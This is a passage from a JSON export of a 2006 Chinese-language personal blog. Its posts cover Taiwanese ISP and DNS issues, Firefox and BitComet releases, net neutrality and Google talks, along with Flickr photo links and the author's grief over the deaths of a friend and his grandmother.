    "body": "在 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 的 <a href=\"http://www.ptt.cc/bbs/Blog/index.html\" rel=\"tag\">Blog 板</a> 看到後 <a href=\"http://www.ptt.cc/bbs/Blog/M.1144294202.A.9F6.html\">Re: [問題] blogger無法顯示網頁</a> 這篇後，也在 <a href=\"http://goston.blogspot.com/2006/04/hinet.html\"> [幹譙] Hinet 又幹了白痴事了!</a> 看到了 :p\r\n\r\n不過我想說的是...\r\n\r\n沒有人會認為 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> 這次是故意針對 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 擋的，比較有可能是因為有人在 <a href=\"http://www.blogspot.com/\" rel=\"tag\">Blogspot</a> 上面放 Spam Blog，透過 Botnet 去製造流量以隱藏 Click Fraud (Adsense)，結果量太大了被 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> 的 IDS/IPS 抓到回報給管理者，而管理者看了半天不知道 <a href=\"http://www.blogspot.com/\" rel=\"tag\">blogspot.com</a> 是什麼鬼，就把他擋掉了... XD\r\n\r\n這種事情... 以後很可能也會再發生... XD (不知道無名會不會被擋？如果真的被擋，到時候一定會有陰謀論 XD)\r\n\r\n<strong>Update</strong>：Seminar 邊聽邊寫 Blog 果然不好，錯字一堆，句子亂七八糟 :o",
    "title": "HiNet 擋 Blogspot"
  },
  {
    "id": "518",
    "body": "<a href=\"http://www.flickr.com/photos/docsearls/122889074/\"><img src=\"http://static.flickr.com/42/122889074_94114d5cc7.jpg\" alt=\"f2c_053.JPG\" /></a>",
    "title": "f2c_053.JPG"
  },
  {
    "id": "519",
    "body": "<a href=\"http://www.flickr.com/photos/nimboo/123821678/\"><img src=\"http://static.flickr.com/43/123821678_14ade96d47.jpg\" alt=\"The Blue Screen of Death comes to Mac\" /></a>\r\n\r\n在 <a href=\"http://goston.blogspot.com/2006/04/intel-mac-windows-xp.html\">[資訊] intel MAC 可以安裝 Windows XP 了</a> 看到的 XD",
    "title": "The Blue Screen of Death comes to Mac"
  },
  {
    "id": "520",
    "body": "<a href=\"http://www.flickr.com/photos/pg/123181450/\"><img src=\"http://static.flickr.com/35/123181450_ac06c40361.jpg\" alt=\"from bedroom window\" /></a>",
    "title": "from bedroom window"
  },
  {
    "id": "521",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 .eu 在開放註冊後的十二個小時就超過一百萬筆：<a href=\"http://slashdot.org/article.pl?sid=06/04/08/0026255\">Over 1 Million .eu Domains and Counting</a>，統計資料可以在 <a href=\"http://status.eurid.eu/\">.eu Sunrise status report</a> 這頁看到。\r\n\r\n有人預期 .eu 會成為 .com 以外第二大的 tld，以現在的註冊速度，看起來蠻有可能的 :)",
    "title": ".eu 的註冊速度"
  },
  {
    "id": "522",
    "body": "<a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 的系統最近有改過界面 (左半部可以縮起來)，但 Subscribers 數量又消失了 XD 來看看什麼時候會恢復 :p",
    "title": "Bloglines..."
  },
  {
    "id": "523",
    "body": "<a href=\"http://www.flickr.com/photos/bluearc21/124474912/\"><img src=\"http://static.flickr.com/55/124474912_d7b36751c7.jpg\" alt=\"Upgrades: Home Office Workstation - 15\" /></a>",
    "title": "Upgrades: Home Office Workstation - 15"
  },
  {
    "id": "524",
    "body": "<a href=\"http://www.flickr.com/photos/good_day/123722051/\"><img src=\"http://static.flickr.com/36/123722051_30ab90a52a.jpg\" alt=\"A wing made of cloud\" /></a>",
    "title": "A wing made of cloud"
  },
  {
    "id": "525",
    "body": "<a href=\"http://www.flickr.com/photos/robhardy/126214497/\"><img src=\"http://static.flickr.com/56/126214497_2dea1cf200.jpg\" alt=\"Beck Meets the Tees near Whorlton\" /></a>",
    "title": "Beck Meets the Tees near Whorlton"
  },
  {
    "id": "526",
    "body": "<a href=\"http://www.flickr.com/photos/hobo_pd/125029704/\"><img src=\"http://static.flickr.com/49/125029704_7e3a6eaf2f.jpg\" alt=\"Nothing else but miracles\" /></a>",
    "title": "Nothing else but miracles"
  },
  {
    "id": "527",
    "body": "星期天下午左手扭到 (拉到？)，到今天還是有些感覺。這幾天還是貼貼照片，不要長篇大論 *逃*\r\n\r\n<a href=\"http://www.flickr.com/photos/plasmaball/125154421/\"><img src=\"http://static.flickr.com/46/125154421_00c00572b7.jpg\" alt=\"\" /></a>\r\n\r\nPS：昨天跟 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">睡長輩</a> 出去吃宵夜的時候講到星期六的布丁 (請參考 <a href=\"http://www.flickr.com/photos/tags/slzzp\">Flickr: Photos tagged with slzzp</a>) 品質太差，吞的速度太慢... <strong>如果布丁的品質好一點的話，拿個碼錶按一分鐘，看可以吃多少顆</strong> XD\r\n\r\n有人放話了 XD",
    "title": "受傷"
  },
  {
    "id": "528",
    "body": "看到 <a href=\"http://blog.23corner.com/\" rel=\"tag\">shakalaka</a> 寫的 <a href=\"http://blog.23corner.com/2006/04/12/1428/\">跑去辦了 3G 門號</a> 才想到我也遇過同樣的事情。\r\n\r\n我三月底辦完 850 方案後，將 SIM 卡直接街上 <a href=\"http://www.sonyericsson.com/T610/\" rel=\"tag\">SE T610</a> (2G 手機) 撥號，發現不能用，直到掃墓那天閒閒沒事做，打電話去 0800-080123 請他們開通。\r\n\r\n另外一個是有一次發現上網超慢，結果發現是因為跳到 GPRS，改回 3G only 就恢復了 :p\r\n\r\nPS：應該沒有人去辦 383 + 750 方案吧？通話計費一樣的情況下，很明顯 850 方案一定比 383 + 750 好 @_@",
    "title": "CHT 850 費率的語音功能"
  },
  {
    "id": "529",
    "body": "<a href=\"http://www.flickr.com/photos/bore/126607299/\"><img src=\"http://static.flickr.com/52/126607299_dfb2194410.jpg\" alt=\"Castillo de San Silvestre - Primavera\" /></a>",
    "title": "Castillo de San Silvestre - Primavera"
  },
  {
    "id": "530",
    "body": "剛剛發現 4/27 的 Seminar 請到李開復先生，雖然地點寫未定，不過應該會在浩然國際會議廳吧？(<a href=\"http://course.nclab.tw/course/view.php?id=6\">2005-02-5943 論文研討-資訊系統 Seminar-Information System</a>)",
    "title": "李開復"
  },
  {
    "id": "531",
    "body": "看到 <a href=\"http://blog.richliu.com/\" rel=\"tag\">richliu</a> 這篇 <a href=\"http://blog.richliu.com/2006/04/14/323/\">DLink 產品的DDOS攻擊行為.</a>，我才想到前陣子在 <a href=\"http://pctao.org/\" rel=\"tag\">TaopaiC</a> 那邊看到的 <a href=\"http://pctao.org/2006/04/08/from-digg-open-letter-to-d-link-about-their-ntp-vandalism/\">[From Digg] Open Letter to D-Link about their NTP vandalism</a>...\r\n<ul>\r\n\t<li>NTP server 沒那麼虛，37 packets/sec 不算 DDoS，重點在於 DIX 願意讓他放是因為 phk 是 \"time geek\"，而且使用頻寬應該很少，但 <a href=\"http://www.dlink.com/\" rel=\"tag\">D-Link</a> 這樣搞下去使得 phk 不好跟 DIX 交代。</li>\r\n\t<li>168.95.1.1 後面也不只一台 DNS server，在 ccca.nctu.edu.tw (twbbs.org NS RR 之一) 上可以看到 twbbs.org 的 query-log，很明顯的有 168.95.1.{17~135} 在跑 (中間有些跳號)，快一百台機器。而 168.95.192.1 後面大約也有七十五台機器。</li>\r\n</ul>\r\n另外像 168.95.1.1/168.95.192.1 開放給全世界搞的這種情況應該會愈來愈少，可以參考 <a href=\"http://taiwan.cnet.com/news/comms/0,2000062978,20105227,00.htm\">DNS伺服器成為駭客的幫兇</a> 這篇。",
    "title": "NTP 與 DNS"
  },
  {
    "id": "532",
    "body": "Firefox 1.5.0.2 釋出：<a href=\"http://developer.mozilla.org/devnews/index.php/2006/04/13/firefox-1502-security-and-stability-update/\">Firefox 1.5.0.2 Security and Stability Update</a>。\r\n\r\n以及 Firefox 1.0.8 釋出 (同時宣佈 1.0.x 終止維護)：<a href=\"http://developer.mozilla.org/devnews/index.php/2006/04/13/firefox-108-security-and-stability-release-and-end-of-life-for-10x/\">Firefox 1.0.8 Security and Stability Release and End-of-Life for 1.0.x</a>。",
    "title": "Firefox 1.5.0.2 及 1.0.8"
  },
  {
    "id": "533",
    "body": "<a href=\"http://www.flickr.com/photos/chacabuco/126658712/\"><img src=\"http://static.flickr.com/42/126658712_9a5d47da19.jpg\" alt=\"jones141\" /></a>",
    "title": "jones141"
  },
  {
    "id": "534",
    "body": "<a href=\"http://www.flickr.com/photos/julycardiff/125774839/\"><img src=\"http://static.flickr.com/51/125774839_cca7238a5f.jpg\" alt=\"\" /></a>",
    "title": "無題"
  },
  {
    "id": "535",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到工具，可以將墨水夾的墨水用完：<a href=\"http://www.boingboing.net/2006/04/14/program_forces_epson.html\">Program forces Epson printers to use \"empty\" carts until they run out</a>。\r\n\r\n起因在於 <a href=\"http://www.epson.com/\" rel=\"tag\">EPSON</a> 的墨水夾裡面有個晶片，會判斷墨水是否用完<strong>以及是否超過期限</strong>，如果超過期限則 Driver 就不讓你印了，即使裡面還有可用的墨水！於是就有這種程式出現...",
    "title": "EPSON 的墨水夾"
  },
  {
    "id": "536",
    "body": "<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上終於【又有】native Java 可以用了 XD\r\n\r\n到 <a href=\"http://www.freebsdfoundation.org/downloads/java.shtml\">FreeBSD Foundation Java Downloads</a> 選擇正確的版本 (目前只有支援 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 5.x 與 6.x) 以及所需要的平台 (目前有 JRE 與 JDK)，抓下來以後直接 pkg_add，同意授權後就可以用了。\r\n\r\n另外記得裝完後要再裝 <a href=\"http://www.freshports.org/java/javavmwrapper/\" rel=\"tag\">java/javavmwrapper</a> 以及 <a href=\"http://www.freshports.org/x11/xorg-libraries/\" rel=\"tag\">x11/xorg-library</a>，這是因為 dependency 的關係。\r\n\r\n剛剛測了一下，Hello World 可以跑... XD",
    "title": "FreeBSD 上的 Java"
  },
  {
    "id": "537",
    "body": "一位透過 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 認識三個多月的朋友，從美國回來兩個月後，這個星期三決定在家裡燒炭自殺...。他的 <a href=\"http://spaces.msn.com/\" rel=\"tag\">MSN Space</a> 與 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 帳號只能留下來做紀念了...。\r\n\r\nPS：Sorry，no comments &amp; trackbacks...",
    "title": "一位朋友過世"
  },
  {
    "id": "538",
    "body": "XML 對於 '&lt;'、'&gt;' 以及 '&amp;' 在 <a href=\"http://www.w3.org/TR/2004/REC-xml-20040204/#syntax\">http://www.w3.org/TR/2004/REC-xml-20040204/#syntax</a> 有蠻完整的說明，當初寫 wretchblog-rss20.pl (無名 Blog 轉 RSS 2.0) 時有參考過：\r\n<blockquote>The ampersand character (&amp;) and the left angle bracket (&lt;) MUST NOT appear in their literal form, except when used as markup delimiters, or within a comment, a processing instruction, or a CDATA section. If they are needed elsewhere, they MUST be escaped using either numeric character references or the strings \"&amp;amp;\" and \"&amp;lt;\" respectively. The right angle bracket (&gt;) MAY be represented using the string \"&amp;gt;\", and MUST, for compatibility, be escaped using either \"&amp;gt;\" or a character reference when it appears in the string \"]]&gt;\" in content, when that string is not marking the end of a CDATA section.</blockquote>\r\n不過當初沒有管到 '&gt;' 這個，再加上置換的順序錯了，於是就爛了：<a href=\"http://www.jeffhung.net/blog/articles/jeffhung/523/\">實戰演練：無名 blog 資料移轉</a>。",
    "title": "XML 規格問題"
  },
  {
    "id": "539",
    "body": "<a href=\"http://digg.com/\" rel=\"tag\">Digg</a>：<a href=\"http://digg.com/links/McDonalds_is_healthy_in_Denmark\">McDonalds is healthy in Denmark</a>，原新聞連結在 <a href=\"http://news.yahoo.com/s/afp/20060413/ts_alt_afp/denmarkushealth\">Fast food healthiest in Denmark, worst in US</a>。\r\n\r\n原因是麥當勞在不同國家使用的比例不一樣？humm...\r\n<blockquote>A large meal of chicken nuggets and french fries at McDonald's in the United States contained 10.1 grams of trans fatty acids, while the same meal in France contained 5.9 grams and just 0.33 grams in Denmark, Steen Stender, who headed the research project, told AFP.\r\n\r\n\"Many people think that wherever you go in the world you get the same thing at McDonald's, but in fact that is not the case,\" Stender told AFP.</blockquote>",
    "title": "麥當勞"
  },
  {
    "id": "540",
    "body": "因為星期二早上打算要去板橋送朋友最後一程，但是那天有兩個期中考要考 (一個下午一點半，一個晚上六點半)，所以打算問下午一點半的那位老師能不能提早考 (或是補考，anyway...)，學弟把去年的考古題掃進去壓成 zip 檔，我把這些檔案用 <a href=\"http://search.cpan.org/dist/Flickr-Upload/\" rel=\"tag\">flickr_upload</a> 丟上 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a>：<a href=\"http://www.flickr.com/photos/gslin/sets/72057594108293311/\">CATC (Cisco 課程考試考古題)</a>。\r\n\r\n念了這些東西才能夠瞭解：為什麼我跟很多考過 CxxA 的人溝通有困難...\r\n\r\nPS：我還是覺得這門課開在研究所很奇怪...",
    "title": "CxxA"
  },
  {
    "id": "541",
    "body": "當 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上的編輯與 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 高層人士的意見相左時要怎麼辦？在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上的 <a href=\"http://yro.slashdot.org/article.pl?sid=06/04/16/1656208\">Censored Wikipedia Articles Appear On Protest Site</a> 報導了 <a href=\"http://en.wikipedia.org/wiki/Jimmy_Wales\" rel=\"tag\">Jimmy Wales</a> (<a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的發起人之一，前陣子來過台灣) 連續刪除 <a href=\"http://en.wikipedia.org/wiki/Brian_Peppers\" rel=\"tag\">Brian Peppers</a> 條目六次，並設下在一年內不得重新建立該條目的限制。\r\n\r\n於是這些編輯就把資料取回，放到 <a href=\"http://en.wikipedia.org/wiki/Jimmy_Wales\" rel=\"tag\">Jimmy Wales</a> 管不到的地方：<a href=\"http://www.wikitruth.info/\" rel=\"tag\">Wikitruth</a>。",
    "title": "Wikipedia 與 Wikitruth"
  },
  {
    "id": "542",
    "body": "星期二送朋友最後一程。\r\n<!--more-->\r\n上個星期五晚上接到 Ruby 電話，通知我 Renee 選擇以燒炭自殺結束這一生，如果想看看她的話，星期二早上十點在板橋殯儀館會送她走。\r\n\r\n我聽到消息的時候有點錯愕，有點悶，有點不知所措。\r\n\r\n星期一那天我去找老師處理補考的事情，因為星期二有兩科要期中考。處理完以後，晚上我決定打通電話到她的手機，接起來是個男生的聲音，是她的叔叔。我不知道要問什麼，隨口問了一些問題，知道時間往後延半個小時，改到十點半開始。\r\n\r\n過沒多久 Ruby 打電話通知我明天改到十點半，我告訴他我剛剛不死心打到 Renee 的手機，她叔叔已經告訴我改時間了。Ruby 問我會怎麼上去，我告訴他我會坐客運上去，她就說她會開車上去可以順便載我。後來我就跟她聊了大約半個小時，問了一些 Renee 的事情。\r\n\r\n隔天早上九點我跟 Ruby 從新竹上去，到板橋殯儀館陪她走最後一程。在路上我就跟 Ruby 聊起來我跟 Renee 認識的過程 (我比 Ruby 早認識 Renee)。\r\n\r\n我跟 Renee 是去年年底 (2006/12/29 深夜) 的時候認識的。那天我把 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 開著，突然有個女生加我為好友，我看了一下 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 的資訊，Location 寫著 North Carolina (當時我第一個想法就覺得這是假的)，而 Homepage 的地方放著一個 MSN Spaces 的位置，連過去看發現 Location 寫著 Taiwan, Taipei，從 Blog 的文章看起來感情上有些問題。\r\n\r\n我把她加進 Contact 後就問她「我認識你嗎？」，問沒幾句話後，我發現她打字速度不快，就跟她要了她在美國的電話號碼，用電話直接聊，就直接問她 Blog 上面的事情，她也把許多事情跟我分享...。這一聊，就是一個多月，直到她在年後回到台灣，她來新竹 (2006/02/08)，我就陪她晃一晃，後來她在台北有工作後聯絡次數就漸漸少了。\r\n\r\n沒想到這次在新竹帶他晃，是第一次，也是最後一次見面。\r\n\r\n而 Ruby 則是在 Renee 回到台灣後認識的，在這最後的一個月變成 Renee 最好的朋友。在車上聽她說 Renee 回台灣後的事情，我才知道 Renee 這最後一個月走的有多辛苦。\r\n\r\n跟 Ruby 到了殯儀館後我們看到了 Renee 的父親，他在星期三晚上接到電話後，星期五晚上從美國趕回台灣處理這些事情。整個儀式是以基督教的追思禮拜送她，時間也再稍微往後延半個小時。在整個追思禮拜的過程中間最讓人難過的過程，不是看她最後一面，而是祖母來 Renee 最後一面後，跟親人講 Renee 臉好像有點腫腫的，是不是沒弄好... 很讓人心酸。\r\n\r\n追思禮拜結束後，遺體要送到三峽火化，於是我跟 Ruby 就一起過去。火化大約需要一個小時，我們兩個跟 Renee 的父親就在休息區吃了點東西，跟他聊 Renee 小時候、到加拿大、到美國的事情，慢慢地去瞭解她生前的生活。\r\n\r\n火化完了以後，最後將 Renee 送到北海福座，將她的骨灰放置在裡面。因為我祖父也是放在這裡，我就跟 Ruby 講了一下開放的規則，如果想看她的話大概在什麼時間可以來之類的...。\r\n\r\n在回新竹的路上我跟 Ruby 整理了一下 Renee 她爸爸講的東西，再回頭想了一下她最後這個月的事情，真的很讓人心疼...。結果回到家之後仔細回想她回到台灣之後的事情，情緒突然間整個爆發出來，在床上哭了出來，只好強迫自己睡一下。沒想到後來跟 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 出去吃飯，邊吃飯邊講 Renee 的事情，結果還是不行... 勉強吃完後只好請 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 先送我回來，直到睡了一整天後情緒才比較穩定。\r\n\r\n我跟 Ruby 會把她生前的一些照片以及事情記錄下來，整理整理，希望她走的沒有牽掛。",
    "title": "送最後一程"
  },
  {
    "id": "543",
    "body": "先記錄下來 (照文章出現的時間，不過後來有不少 \"Update\" 是放在原來的文章裡面，所以會有點亂...)，標題暫時就訂這樣。\r\n<ul>\r\n\t<li><a href=\"http://forevergeek.com/geek_articles/digg_army_right_in_line.php\">Digg Army: Right in Line</a> (<a href=\"http://forevergeek.com/\" rel=\"tag\">ForeverGeek</a>)</li>\r\n\t<li><a href=\"http://binarybonsai.com/archives/2006/04/19/digg-army/\">Digg Army</a> (<a href=\"http://binarybonsai.com/\" rel=\"tag\">Binary Bonsai</a>)</li>\r\n\t<li><a href=\"http://forevergeek.com/news/digg_corrupted_editors_playground_not_userdriven_website.php\">Digg Corrupted: Editor's Playground, not User-Driven Website</a> (<a href=\"http://forevergeek.com/\" rel=\"tag\">ForeverGeek</a>)</li>\r\n\t<li><a href=\"http://diggtheblog.blogspot.com/2006/04/digging-fraud.html\" rel=\"tag\">Digging Fraud</a> (<a href=\"http://diggtheblog.blogspot.com/\" rel=\"tag\">Digg Blog</a>)</li>\r\n\t<li><a href=\"http://www.boingboing.net/2006/04/20/debating_diggs_metho.html\">Debating Digg's methodology: editor- or user-driven?</a> (<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a>)</li>\r\n\t<li><a href=\"http://www.powazek.com/2006/04/000579.html\">The Wisdom of Browse</a> (<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb</a> 丟過來的 link)</li>\r\n</ul>\r\n主要是在講 <a href=\"http://forevergeek.com/\" rel=\"tag\">ForeverGeek</a> 發現被 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 封掉後的幹剿文章。\r\n\r\nPS：我之前批評過 <a href=\"http://forevergeek.com/\" rel=\"tag\">ForeverGeek</a>：<a href=\"http://forevergeek.com/geek_resources/dreamhost_promo_codes.php\">Dreamhost Promo Codes</a>。(也因為這個原因，我後來就 unsubscribe 了)",
    "title": "Digg 與 ForeverGeek"
  },
  {
    "id": "544",
    "body": "星期五中午我媽打電話給在新竹的我，叫我回家，因為祖母走了。\r\n\r\n她自從前幾年摔到後身體就不太好，加上有糖尿病，其實大家都有心理準備，只是對我而言，從上個禮拜...。\r\n\r\n我中午接完電話後先去找指導教授，在他桌上留個字條 (不在辦公室)，之後就住處整理一些衣物回台北。回來後就去看看祖母，然後摺一些元寶，接下來的事情大多都是我爸媽在處理，剩下的時間就是聊聊天，不然就是做些自己的事情...\r\n\r\n所以... (悶)",
    "title": "祖母"
  },
  {
    "id": "545",
    "body": "Blog 以及 files.gslin.org 從 <a href=\"http://www.dreamhost.com/rewards.cgi?hasname\" rel=\"tag\">DreamHost</a> 換出來了，到不是 <a href=\"http://www.dreamhost.com/rewards.cgi?hasname\" rel=\"tag\">DreamHost</a> 不好 (我那台主機最近還蠻穩的 XD)，而是在測試便宜的 <del datetime=\"2006-05-29T05:50:27+00:00\">Delicated</del> Dedicated Hosting...\r\n\r\n機器現在是 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 5.4-RELEASE-p14，也許哪天膽子大再來 remote upgrade to 6.1-RELEASE。(也要等到 6.1 出啦...)\r\n\r\nPS：如果有人要測試的話，可以透過 <a href=\"http://colo-s4s.hasname.com/cgi-bin/trace\">http://colo-s4s.hasname.com/cgi-bin/trace</a> 看看。\r\n\r\n<strong>Update</strong>：到現在的紀錄：\r\n<ul>\r\n\t<li>可以感覺到機器前有台 stateful firewall 卡著，因為從交大連過去的連線 idle 太久會斷掉？</li>\r\n\t<li><a href=\"http://pesty.yichi.org/\" rel=\"tag\">pesty</a> 不小心在下 ifconfig 時弄爛 IP address 設定，於是到系統裡 submit ticket 請他們按 Ctrl-Alt-Delete 或是直接 Reset，五分鐘內這個 ticket 就回報「已經轉送到 Data Center」，然後過半個小時後發現機器回來了。</li>\r\n\t<li><p>總是有機會改到不管重開幾次都會進 single user mode，這時候可能得自己來... 我不清楚這個 Data Center 有沒有提供「給 instruction 照著做」的服務 XD</p><p>所以送 ticket 詢問 Remote Network KVM 的價錢：每次收 USD$30，可以使用二十四個小時，送出 ticket 後需要兩個小時安裝 Remote Network KVM。</p></li>\r\n\t<li><p>送 ticket 要求改個反解，結果發現一堆搞笑的設定。</p><p>72.36.224.x (224.36.72.in-addr.arpa) 是由 ns{1,2}allneo.com 與 ns{1,2}.layeredtech.com 所管，只有後面兩台有改成 colo-s4s.hasname.com -_- 而且 ns{1,2}.allneo.com 上面登記的 NS RR 居然是 ns{1,2,3,4}.allneo.com，仔細查下去發現 ns{3,4} 的記錄也是錯的...，晚點再送 ticket。</p></li>\r\n</ul>",
    "title": "換 Hosting"
  },
  {
    "id": "546",
    "body": "4/27 在交大的浩然國際會議廳 (圖書館 B1)：<a href=\"http://course.nclab.tw/course/view.php?id=6&week=10\">2005-02-5943 論文研討-資訊系統 Seminar-Information System</a>。\r\n\r\n剛剛看到資訊學院的公告 (三月多就公告了？)：<a href=\"http://www.ccs.nctu.edu.tw/post.php?id=2006042001\">http://www.ccs.nctu.edu.tw/post.php?id=2006042001</a>。",
    "title": "李開復"
  },
  {
    "id": "547",
    "body": "<a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 0.65 出版了，在 <a href=\"http://www.bitcomet.com/doc/changelog.htm\">BitComet Client Release Notes</a> 可以看到 Changelog，主要都是一些小修正。如果真的要拿出來講，大概就是這個：\r\n<blockquote>Core Improved: connect to the previous peers immediately when restarting a task</blockquote>\r\n這樣每次啟動的時候就不需要再去 tracker 上取得列表，而可以由 Peer Exchange 直接得到 IP address/Port。",
    "title": "BitComet 0.65"
  },
  {
    "id": "548",
    "body": "在 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier</a> 那邊看到的：<a href=\"http://www.schneier.com/blog/archives/2006/04/digital_cameras.html\">Digital Cameras Have Unique Fingerprints</a>。\r\n\r\n不過，如果「指紋」很容易偽造的話，就沒有意義了 :o",
    "title": "數位相機的指紋"
  },
  {
    "id": "549",
    "body": "因為中間負責轉播的電腦有斷線過，所以分成兩個檔案：<a href=\"http://netnews.nctu.edu.tw/~gslin/tmp/google.asf\">google.asf</a>、<a href=\"http://netnews.nctu.edu.tw/~gslin/tmp/google2.asf\">google2.asf</a>。(本連結隨時可能不見 XD)\r\n\r\n至於內容的部分，如果平常就有在看 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的人應該都知道，沒什麼大不的。(連講的笑話都被 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 與 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 報過...)\r\n\r\n而關於 Filtering in China 的問題 (不論是在台灣或是在美國都是必問的問題？)，其實聽沒幾句就知道是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 官版的說法：聽起來很有道理，但你永遠不會滿意。",
    "title": "Google 台大場"
  },
  {
    "id": "550",
    "body": "<a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 問了 <a href=\"http://photomatt.net/2006/04/26/cross-datacenter-file-replication/\">Cross-Datacenter File Replication</a>，看起來是為了 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 問的。\r\n\r\n下面的 comments 裡面有些蠻值得看一看，像是 <a href=\"http://www.drbd.org/\" rel=\"tag\">DRBD</a> 可以玩看看。",
    "title": "同步備份機制"
  },
  {
    "id": "551",
    "body": "李開復在交大講用的 Slide 跟台大用的是同一份，講的東西也都完全一樣，包括笑話都是。\r\n\r\n下午一點半開始，時間弄得相當緊，一方面是因為臨時從浩然國際會議廳換到中正堂，造成所有的人花了十分鐘移動過去。另外一方面是三點多還有清華場要趕。在時間壓縮下，整體的流暢度比起台大場的差了不少，接受聽眾問題時也沒幾題。而且該怎麼說... 感覺李開復只是在敷衍了事而已。\r\n\r\n沒來聽的也不用覺得可惜，因為這場的確不怎麼值得聽。反倒是 <a href=\"http://www.itri.org.tw/\" rel=\"tag\">ITRI</a> 場應該是不同的題目與內容，不知道有沒有辦法拿到錄影檔或是錄音檔之類的聽。\r\n\r\n<strong>Update</strong>：<a href=\"http://www.itri.org.tw/\" rel=\"tag\">ITRI</a> 場的部分內容可以看 <a href=\"http://bearxcat.blogspot.com/2006/04/googletaiwan.html\">Google@Taiwan</a> 這邊。",
    "title": "Google 交大場"
  },
  {
    "id": "552",
    "body": "除了用 Unsubscribe 沒辦法退定以外，還很沒水準的，用九張圖發：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/136107831/\"><img src=\"http://static.flickr.com/24/136107831_03b6bd12ae.jpg\" /></a>\r\n\r\n這是點開後的樣子：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/136109046/\"><img src=\"http://static.flickr.com/52/136109046_7159953d0d.jpg\" alt=\"\" /></a>",
    "title": "教育部電子報"
  },
  {
    "id": "553",
    "body": "過了兩天又出新版，看起來是爆炸的人數太多了？(參考 <a href=\"http://bitcomet.p2pforums.com/\" rel=\"tag\">BitComet Forum</a> 上的 <a href=\"http://www.p2pforums.com/viewforum.php?f=41\">BitComet Bugs & Feature Requests</a>)\r\n<blockquote>Core Improved: more program run-time error can be detected by the crash report\r\nCore Bugfix: fix the bug that the sometimes program will crash when display chat message</blockquote>",
    "title": "BitComet 0.66"
  },
  {
    "id": "555",
    "body": "<a href=\"http://news.netcraft.com/\" rel=\"tag\">Netcraft</a> 報導了 <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> 在 SSL HTTP Server 的佔有率 (這當中包括了 <a href=\"http://www.apache-ssl.org/\" rel=\"tag\">Apache SSL</a> 與 <a href=\"http://www.modssl.org/\" rel=\"tag\">mod_ssl</a>) 超越 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a>，成為 SSL HTTP Server 的領先者：<a href=\"http://news.netcraft.com/archives/2006/04/26/apache_now_the_leader_in_ssl_servers.html\">Apache Now the Leader in SSL Servers</a>。",
    "title": "SSL HTTP Server 的佔有率"
  },
  {
    "id": "556",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的 <a href=\"http://yro.slashdot.org/article.pl?sid=06/04/27/2350258\">Net Neutrality Voted Down in U.S. House Committee</a> 這篇報導指出 House Committee on Energy &amp; Commerce 以 34 對 22 票，否決了對 Communications, Promotion, &amp; Enhancement Act of 2006 的修正案。\r\n\r\n這次的修正案如果通過，將禁止電信業者選擇性提供服務給用戶。換句話說，電信業者所提供的網路必須維持中立性，不得對於特定單位提供較佳的服務或較差的服務。\r\n\r\n舉個簡單的例子來說，電信業者不得因為 VoIP 影響到他的生意，所以就把 VoIP Packet 限制住。或者像更久之前電信業者要求 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 交網路使用費 (簡單來說就是保護費)，不然就要限制服務。\r\n\r\n這個修正法案想要做到的事情更一般性的名詞就是「網路中立性」(Net Neutrality)，下面這幾篇文章蠻值得看的，尤其是第一篇有個 Video 可以聽他解釋什麼是網路中立性：\r\n<ul>\r\n\t<li><a href=\"http://www.bigsound.org/portnoy/weblog/001632.html\">什麼是網路中立性</a> (<a href=\"http://www.bigsound.org/portnoy/\" rel=\"tag\">龜趣來嘻-Unlimited</a>)</li>\r\n\t<li><a href=\"http://taiwan.cnet.com/news/software/0,2000064574,20105129,00.htm\">「網路中立」議題引爆辯論</a> (<a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan.CNET</a>)</li>\r\n\t<li><a href=\"http://ianewswatch.twnic.net.tw/twnic_php/shownews.php?id=2005122001&cat=all_news_list\">網路中立性原則受到挑戰</a> (<a href=\"http://www.twnic.net.tw/\" rel=\"tag\">TWNIC</a>)</li>\r\n</ul>",
    "title": "「網路中立性」受阻"
  },
  {
    "id": "558",
